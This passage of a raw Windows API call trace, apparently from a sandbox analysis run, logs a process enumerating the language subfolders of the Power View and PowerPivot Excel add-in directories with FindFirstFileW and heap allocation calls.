GetProcessHeap () returned 0xc10000 [0225.468] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.468] GetProcessHeap () returned 0xc10000 [0225.468] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0225.634] GetProcessHeap () returned 0xc10000 [0225.634] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.634] GetProcessHeap () returned 0xc10000 [0225.634] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0225.638] GetProcessHeap () returned 0xc10000 [0225.638] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.638] GetProcessHeap () returned 0xc10000 [0225.638] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0225.649] GetProcessHeap () returned 0xc10000 [0225.649] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.649] GetProcessHeap () returned 0xc10000 [0225.649] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0225.653] GetProcessHeap () returned 0xc10000 [0225.653] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.653] GetProcessHeap () returned 0xc10000 [0225.653] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0225.657] GetProcessHeap () returned 0xc10000 [0225.657] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.657] GetProcessHeap () returned 0xc10000 [0225.657] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0225.661] GetProcessHeap () returned 0xc10000 [0225.661] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.661] GetProcessHeap () returned 0xc10000 [0225.661] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0225.665] GetProcessHeap () returned 0xc10000 [0225.665] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.665] GetProcessHeap () returned 0xc10000 [0225.665] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0225.669] GetProcessHeap () returned 0xc10000 [0225.669] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.669] GetProcessHeap () returned 0xc10000 [0225.669] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0225.694] GetProcessHeap () returned 0xc10000 [0225.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.694] GetProcessHeap () returned 0xc10000 [0225.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0225.696] GetProcessHeap () returned 0xc10000 [0225.696] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0225.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0225.897] GetProcessHeap () returned 0xc10000 [0225.897] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0225.903] GetProcessHeap () returned 0xc10000 [0225.903] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.903] GetProcessHeap () returned 0xc10000 [0225.903] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0225.908] GetProcessHeap () returned 0xc10000 [0225.908] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.908] GetProcessHeap () returned 0xc10000 [0225.908] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0225.913] GetProcessHeap () returned 0xc10000 [0225.913] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.913] GetProcessHeap () returned 0xc10000 [0225.913] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0225.917] GetProcessHeap () returned 0xc10000 [0225.917] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0225.917] GetProcessHeap () returned 0xc10000 [0225.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0225.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.116] GetProcessHeap () returned 0xc10000 [0226.116] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.116] GetProcessHeap () returned 0xc10000 [0226.116] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0226.121] GetProcessHeap () returned 0xc10000 [0226.121] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.121] GetProcessHeap () returned 0xc10000 [0226.121] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0226.125] GetProcessHeap () returned 0xc10000 [0226.125] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.125] GetProcessHeap () returned 0xc10000 [0226.125] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0226.130] GetProcessHeap () returned 0xc10000 [0226.130] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.130] GetProcessHeap () returned 0xc10000 [0226.130] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0226.131] GetProcessHeap () returned 0xc10000 [0226.131] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.131] GetProcessHeap () returned 0xc10000 [0226.131] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.136] GetProcessHeap () returned 0xc10000 [0226.136] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.136] GetProcessHeap () returned 0xc10000 [0226.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.141] GetProcessHeap () returned 0xc10000 [0226.141] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.141] GetProcessHeap () returned 0xc10000 [0226.141] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0226.146] GetProcessHeap () returned 0xc10000 [0226.146] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.146] GetProcessHeap () returned 0xc10000 [0226.146] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.150] GetProcessHeap () returned 0xc10000 [0226.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.150] GetProcessHeap () returned 0xc10000 [0226.150] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0226.155] GetProcessHeap () returned 0xc10000 [0226.155] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.155] GetProcessHeap () returned 0xc10000 [0226.155] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0226.320] GetProcessHeap () returned 0xc10000 [0226.320] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.320] GetProcessHeap () returned 0xc10000 [0226.320] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.325] GetProcessHeap () returned 0xc10000 [0226.325] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.325] GetProcessHeap () returned 0xc10000 [0226.325] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.332] GetProcessHeap () returned 0xc10000 [0226.332] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.332] GetProcessHeap () returned 0xc10000 [0226.332] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, 